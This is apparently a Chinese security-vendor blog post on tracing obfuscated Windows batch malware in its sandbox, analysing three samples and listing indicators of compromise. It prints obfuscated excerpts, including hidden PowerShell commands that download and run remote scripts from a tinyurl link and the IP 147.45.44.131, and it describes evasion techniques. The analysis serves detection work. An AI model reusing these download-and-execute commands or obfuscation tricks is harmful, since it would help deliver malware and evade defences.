一、概述
在Windows系统中,批处理(BAT)脚本作为一种自动化执行工具,因其简单易用、无需额外依赖的特性,被广泛用于系统管理、文件操作、程序批量处理等场景。然而,随着安全需求的提升,越来越多的BAT脚本利用混淆技术来隐藏真实意图,尤其是在恶意软件领域。这些混淆手段使得分析人员难以直接阅读和理解脚本的逻辑,增加了逆向分析的难度。为应对这一挑战,天穹沙箱推出BAT脚本执行追踪技术,通过追踪脚本的执行过程,获取脚本运行时的实际命令序列,可以绕过静态分析中的混淆障碍,还原脚本的真实行为。
二、BAT脚本混淆手段
当前常见的BAT脚本混淆技术主要包括以下几类:
字符串替换混淆
使用SET命令将关键字符或命令替换为随机的字符串组合,通过多次变量替换构建最终的有效命令。
混淆代码示例
1 2 3
| set "x1=cmd" set "x2=/c" %x1% %x2%
|
最终输出代码
转义字符混淆
大量使用^
、%
、!
等特殊字符打断命令的可读性,利用cmd的特殊字符处理规则构造合法但难以理解的命令。
编码混淆
将部分命令转换为ASCII码或其他编码形式,通过改变脚本编码格式或内容表示形式来隐藏真实逻辑。
UTF-16LE
编码混淆示例
1
| FF FE 26 63 6C 73 0D 0A 65 63 68 6F 20 61 62 63 ; ?cls..echo abc
|
最终输出代码
三、BAT脚本执行追踪技术
为还原和辨别BAT脚本的真实逻辑和意图,天穹沙箱引入了BAT脚本动态执行追踪技术,该技术通过动态监控脚本执行过程中的每一个关键环节,实时捕获并记录脚本运行时的实际命令序列、参数传递及执行流程,如图1所示。相较于传统的静态分析方法,这种动态追踪技术能够有效绕过代码混淆、加密变形等反检测手段,直接获取脚本在真实环境中的行为表现。通过对执行轨迹的深度分析,沙箱可以精准还原脚本的原始逻辑意图,识别潜在的恶意操作模式,如文件篡改、注册表修改、网络通信等危险行为。此外,该技术还支持对脚本执行上下文环境的全面记录,包括调用的系统API、访问的资源对象以及产生的临时文件等,为行为分析和威胁判定提供多维度数据支撑。
图1 天穹沙箱BAT脚本追踪示意图
四、BAT脚本执行追踪能力展示
样本一
报告链接: 样本分析报告
样本一采用了BatCloak(高级恶意软件混淆引擎)进行多层混淆,该混淆引擎结合了动态变量替换、代码分段加密、随机垃圾字符填充等技术,能够有效绕过传统杀毒软件的静态检测机制。首先,我们让TQ-GPT总结一下样本的主要行为,如图2所示:

图2 TQ-GPT总结样本一主要行为
接下来对样本代码进行分析,以下是部分混淆代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| @echo off set "WEbh=set " %WEbh%"Cvgp==" %WEbh%"cTumnlUZgl%Cvgp%f" %WEbh%"gKrwSeGCCk%Cvgp%@ech" %WEbh%"GKRAwDyZpW%Cvgp%o of" %gKrwSeGCCk%%GKRAwDyZpW%%cTumnlUZgl% %WEbh%"QNrfAmHlVf%Cvgp%y "%~0." %WEbh%"IULQMNPLPr%Cvgp%1.0\" %WEbh%"VUcQpDANyQ%Cvgp%dows" %WEbh%"TbkiwLtcac%Cvgp%ows\" %WEbh%"qLfIYymvbn%Cvgp%\Win" %WEbh%"kmmpejHjHv%Cvgp%em32" %WEbh%"JCVuSGOUdn%Cvgp%Powe" %WEbh%"gKrwSeGCCk%Cvgp%copy" %WEbh%"fIMxwixJDf%Cvgp%Syst" %WEbh%"ejuEMuCezX%Cvgp%rShe" %WEbh%"KrsOjMzxeU%Cvgp%powe" %WEbh%"cTumnlUZgl%Cvgp%Wind" %WEbh%"ERoinEKTgx%Cvgp%xe /" %WEbh%"vsUCEjyDRY%Cvgp%ll.e" %WEbh%"awnAUGVFkC%Cvgp%rshe" %WEbh%"SkAnVrxPjZ%Cvgp%exe"" %WEbh%"GKRAwDyZpW%Cvgp% C:\" %WEbh%"VcHqjqkwaB%Cvgp%ll\v"
|
通过分析发现,该样本主要利用了变量名混淆、字符串分段拼接、嵌套变量引用等混淆手段:
变量名混淆
使用无意义的随机大小写字母组合作为变量名(如WEbh、Cvgp等),通过set命令动态赋值。
字符串分段拼接
将完整命令拆分为多段存储在变量中,例如:%WEbh%"gKrwSeGCCk%Cvgp%copy"
,实际存储"copy"
命令片段;通过%变量名%
动态引用命令拼接。
嵌套变量引用
使用%Cvgp%
作为中间变量存储公共字符(如等号=),其他变量通过引用该变量构建完整字符串,例如:%cTumnlUZgl%Cvgp%Wind%
实际拼接为Windows
。
人工分析上述代码耗时费力,通过天穹沙箱的脚本追踪功能,可以快速捕获关键执行命令,如图3所示。从追踪结果看,样本首先拷贝了powershell.exe
到同级目录,随后从BAT文件注释中提取Base64编码后的Payload,并使用AES解密Payload,最终调用 Invoke-Expression
反射执行解密后的PE文件。

图3 样本一脚本执行追踪结果
样本二
报告链接: 样本分析报告
使用TQ-GPT总结样本二的主要行为,如图4所示:

图4 样本二主要行为总结
接下来对样本代码进行分析,以下是部分混淆代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| 00000000h: FF FE 26 63 6C 73 0D 0A 65 63 68 6F 20 61 62 63 ; ?cls..echo abc 00000010h: 64 65 66 67 73 64 66 73 64 66 73 68 79 6B 6C 6D ; defgsdfsdfshyklm 00000020h: 6E 64 73 64 61 62 63 64 65 66 6F 68 68 79 6B 6C ; ndsdabcdefohhykl 00000030h: 6D 39 38 32 33 37 34 6A 73 6A 64 66 68 73 38 64 ; m982374jsjdfhs8d ………………………… 0003ffd0h: 0A 0D 0A 73 74 61 72 74 20 2F 6D 69 6E 20 63 6D ; ...start /min cm 0003ffe0h: 64 20 2F 63 20 22 70 6F 77 65 72 73 68 65 6C 6C ; d /c "powershell 0003fff0h: 20 2D 57 69 6E 64 6F 77 53 74 79 6C 65 20 48 69 ; -WindowStyle Hi 00040000h: 64 64 65 6E 20 2D 43 6F 6D 6D 61 6E 64 20 49 6E ; dden -Command In 00040010h: 76 6F 6B 65 2D 57 65 62 52 65 71 75 65 73 74 20 ; voke-WebRequest 00040020h: 2D 55 72 69 20 27 68 74 74 70 73 3A 2F 2F 74 69 ; -Uri 'https://ti 00040030h: 6E 79 75 72 6C 2E 63 6F 6D 2F 74 31 2D 6D 68 31 ; nyurl.com/t1-mh1 00040040h: 2D 33 31 30 33 32 35 27 20 2D 4F 75 74 46 69 6C ; -310325' -OutFil 00040050h: 65 20 27 25 54 45 4D 50 25 5C 74 65 6D 70 2E 62 ; e '%TEMP%\temp.b 00040060h: 61 74 27 3B 20 53 74 61 72 74 2D 50 72 6F 63 65 ; at'; Start-Proce 00040070h: 73 73 20 2D 46 69 6C 65 50 61 74 68 20 27 25 54 ; ss -FilePath '%T 00040080h: 45 4D 50 25 5C 74 65 6D 70 2E 62 61 74 27 20 2D ; EMP%\temp.bat' - 00040090h: 57 69 6E 64 6F 77 53 74 79 6C 65 20 48 69 64 64 ; WindowStyle Hidd 000400a0h: 65 6E 22 0D 0A 0D 0A 0D 0A 65 63 68 6F 20 61 62 ; en"......echo ab 000400b0h: 63 64 65 66 67 73 64 66 73 64 66 73 68 79 6B 6C ; cdefgsdfsdfshykl 000400c0h: 6D 6E 64 73 64 61 62 63 64 65 66 6F 68 68 79 6B ; mndsdabcdefohhyk 000400d0h: 6C 6D 39 38 32 33 37 34 6A 73 6A 64 66 68 73 38 ; lm982374jsjdfhs8 000400e0h: 64 37 66 33 32 6A 72 68 39 33 32 72 68 73 6B 64 ; d7f32jrh932rhskd 000400f0h: 6A 66 38 33 6E 66 6F 73 64 73 64 66 73 64 66 33 ; jf83nfosdsdfsdf3
|
通过分析发现,该样本主要采用了编码混淆(UTF-16 BOM)、超长干扰字符串等混淆手段:
编码混淆
在文件起始位置添加\xFF\xFE
字节序标记(BOM),强制声明为UTF-16LE
编码格式,后续写入内容则是ASCII
编码格式,这破坏了常规BAT文件特征,直接使用记事本或其他文本编辑器打开会乱码,如图5所示,这种方式也能有效干扰EDR静态识别。而cmd.exe
在解析BAT脚本时会以ASCII格式解码,在遇到不可解释字符(如BOM头)会忽略跳过,因此并不影响脚本执行。

图5 使用UTF-16解析乱码
超长干扰字符串
真正的恶意隐藏在超长字符串中,难以快速确定恶意代码的位置,例如开头的echo abc...
就是打印一个超长字符串,从偏移地址0003ffd0h
开始,才是恶意代码真正开始的位置。
通过天穹沙箱的脚本追踪功能,可以看到样本在输出长字符串后,调用Powershell远程下载temp.bat
并执行,如图6所示:

图6 样本二脚本执行追踪结果
样本三
报告链接: 样本分析报告
使用TQ-GPT总结样本三的主要行为,如图7所示:

图7 样本三主要行为总结
接下来对样本代码进行分析,以下是部分混淆代码:
1 2 3
| @%⒕Ժբ⒖⒓ლ%e%⒕Ժբ⒖⒓ლ%c%⒕Ժբ⒖⒓ლ%h%⒕Ժբ⒖⒓ლ%o%⒕Ժբ⒖⒓ლ% %⒕Ժբ⒖⒓ლ%o%⒕Ժբ⒖⒓ლ%f%⒕Ժբ⒖⒓ლ%f%⒕Ժբ⒖⒓ლ% s%⒕Ժբ⒖⒓ლ%e%⒕Ժբ⒖⒓ლ%t%⒕Ժբ⒖⒓ლ% %⒕Ժբ⒖⒓ლ%"%⒕Ժբ⒖⒓ლ%u%⒕Ժբ⒖⒓ლ%r%⒕Ժբ⒖⒓ლ%l%⒕Ժբ⒖⒓ლ%=%⒕Ժբ⒖⒓ლ%h%⒕Ժբ⒖⒓ლ%t%⒕Ժբ⒖⒓ლ%t%⒕Ժբ⒖⒓ლ%p%⒕Ժբ⒖⒓ლ%:%⒕Ժբ⒖⒓ლ%/%⒕Ժբ⒖⒓ლ%/%⒕Ժբ⒖⒓ლ%1%⒕Ժբ⒖⒓ლ%4%⒕Ժբ⒖⒓ლ%7%⒕Ժբ⒖⒓ლ%.%⒕Ժբ⒖⒓ლ%4%⒕Ժբ⒖⒓ლ%5%⒕Ժբ⒖⒓ლ%.%⒕Ժբ⒖⒓ლ%4%⒕Ժբ⒖⒓ლ%4%⒕Ժբ⒖⒓ლ%.%⒕Ժբ⒖⒓ლ%1%⒕Ժբ⒖⒓ლ%3%⒕Ժբ⒖⒓ლ%1%⒕Ժբ⒖⒓ლ%/%⒕Ժբ⒖⒓ლ%i%⒕Ժբ⒖⒓ლ%n%⒕Ժբ⒖⒓ლ%f%⒕Ժբ⒖⒓ლ%o%⒕Ժբ⒖⒓ლ%p%⒕Ժբ⒖⒓ლ%a%⒕Ժբ⒖⒓ლ%g%⒕Ժբ⒖⒓ლ%e%⒕Ժբ⒖⒓ლ%/%⒕Ժբ⒖⒓ლ%b%⒕Ժբ⒖⒓ლ%h%⒕Ժբ⒖⒓ლ%d%⒕Ժբ⒖⒓ლ%.%⒕Ժբ⒖⒓ლ%p%⒕Ժբ⒖⒓ლ%s%⒕Ժբ⒖⒓ლ%1%⒕Ժբ⒖⒓ლ%"%⒕Ժբ⒖⒓ლ% s%⒕Ժբ⒖⒓ლ%t%ლ’はчnо☆(系%a%ლ’はчnо☆(系%r%ლ’はчnо☆(系%t%ლ’はчnо☆(系% %ლ’はчnо☆(系%/%ლ’はчnо☆(系%B%ლ’はчnо☆(系% %ლ’はчnо☆(系%p%ლ’はчnо☆(系%o%ლ’はчnо☆(系%w%ლ’はчnо☆(系%e%ლ’はчnо☆(系%r%ლ’はчnо☆(系%s%ლ’はчnо☆(系%h%ლ’はчnо☆(系%e%ლ’はчnо☆(系%l%ლ’はчnо☆(系%l%ლ’はчnо☆(系% %ლ’はчnо☆(系%-%ლ’はчnо☆(系%W%ლ’はчnо☆(系%i%ლ’はчnо☆(系%n%ლ’はчnо☆(系%d%ლ’はчnо☆(系%o%ლ’はчnо☆(系%w%ლ’はчnо☆(系%S%ლ’はчnо☆(系%t%ლ’はчnо☆(系%y%ლ’はчnо☆(系%l%ლ’はчnо☆(系%e%ლ’はчnо☆(系% %ლ’はчnо☆(系%H%ლ’はчnо☆(系%i%ლ’はчnо☆(系%d%ლ’はчnо☆(系%d%ლ’はчnо☆(系%e%ლ’はчnо☆(系%n%ლ’はчnо☆(系% %ლ’はчnо☆(系%-%ლ’はчnо☆(系%c%ლ’はчnо☆(系%o%ლ’はчnо☆(系%m%ლ’はчnо☆(系%m%ლ’はчnо☆(系%a%ლ’はчnо☆(系%n%ლ’はчnо☆(系%d%ლ’はчnо☆(系% %ლ’はчnо☆(系%"%ლ’はчnо☆(系%i%ლ’はчnо☆(系%w%ლ’はчnо☆(系%r%ლ’はчnо☆(系% %ლ’はчnо☆(系%-%ლ’はчnо☆(系%u%ლ’はчnо☆(系%s%ლ’はчnо☆(系%e%ლ’はчnо☆(系%b%ლ’はчnо☆(系% %ლ’はчnо☆(系%'%ლ’はчnо☆(系%%url%'%ლ’はчnо☆(系%
|
通过分析发现,该样本主要采用Unicode字符插入混淆、动态变量拼接、多语言混合编码等混淆手段:
Unicode字符插入混淆
在关键命令字符间插入非常用Unicode字符(如⒕Ժբ⒖⒓
、ლ’はчnо☆
等),例如e%⒕Ժբ⒖⒓%c%⒕Ժբ⒖⒓%h%⒕Ժբ⒖⒓%o
实际是echo命令的分割形式。
动态变量拼接
使用环境变量分隔符(%)包裹混淆字符,如%⒕Ժբ⒖⒓%
会被解释为空值,最终拼接成有效命令:%@%x% → %x%(空变量)→ 实际执行时被忽略。
多语言混合编码
混合西里尔字母(ч)、日文(は)、格鲁吉亚字母(ლ)等,利用不同字符集的相似字形干扰人工审计。
通过天穹沙箱的脚本追踪功能,可以看到样本后台执行远程Powershell脚本,这是典型的无文件攻击,如图8所示:

图8 样本三脚本执行追踪结果
五、IOC
恶意文件(SHA1)
1 2 3
| 690b3330710e0c56829ac63e7c9bb6aee3b15a05 样本一哈希 0de2d1a2d6c273ee3707eb6f1becb3882d519714 样本二哈希 c555e839f06f667dbe8af735340fd62bf5062f2b 样本三哈希
|
恶意链接
1 2 3 4
| https[:]//tinyurl[.]com/t1-mh1-310325 样本二远程下载地址 http[:]//147.45.44.131/infopage/bhd.ps1 样本三远程下载地址 tinyurl[.]com 样本二C2地址 147.45.44.131 样本三C2地址
|
其他恶意信息
1 2
| 0xbf2fddf426ef7f6f2757a6d1f644f1e25cfeb6d2 样本一以太坊(ETH)账户地址 kazyabil@protonmail.com 样本一勒索邮箱
|
分析报告
样本一分析报告:天穹沙箱分析报告
样本二分析报告:天穹沙箱分析报告
样本三分析报告:天穹沙箱分析报告
六、 技术支持与反馈
星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们追求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。

天穹沙箱支持模拟14种CPU架构的虚拟机,环境数量50+,全面覆盖PC、服务器、智能终端、IoT设备的主流设备架构形态。在宿主机方面,除了Intel/AMD的x86架构CPU和CentOS操作系统之外,天穹沙箱支持海光、飞腾、鲲鹏等x86、ARM架构国产CPU和银河麒麟、中科方德等信创操作系统。
天穹沙箱系统以云沙箱、引擎输出、数据接口等多种形式服务于公司各个业务部门,包括天眼、终端安全、态势感知、ICG、锡安平台、安服等。
天穹公网地址:https://sandbox.qianxin.com
天穹内网地址(使用域账号登录):https://sandbox.qianxin-inc.cn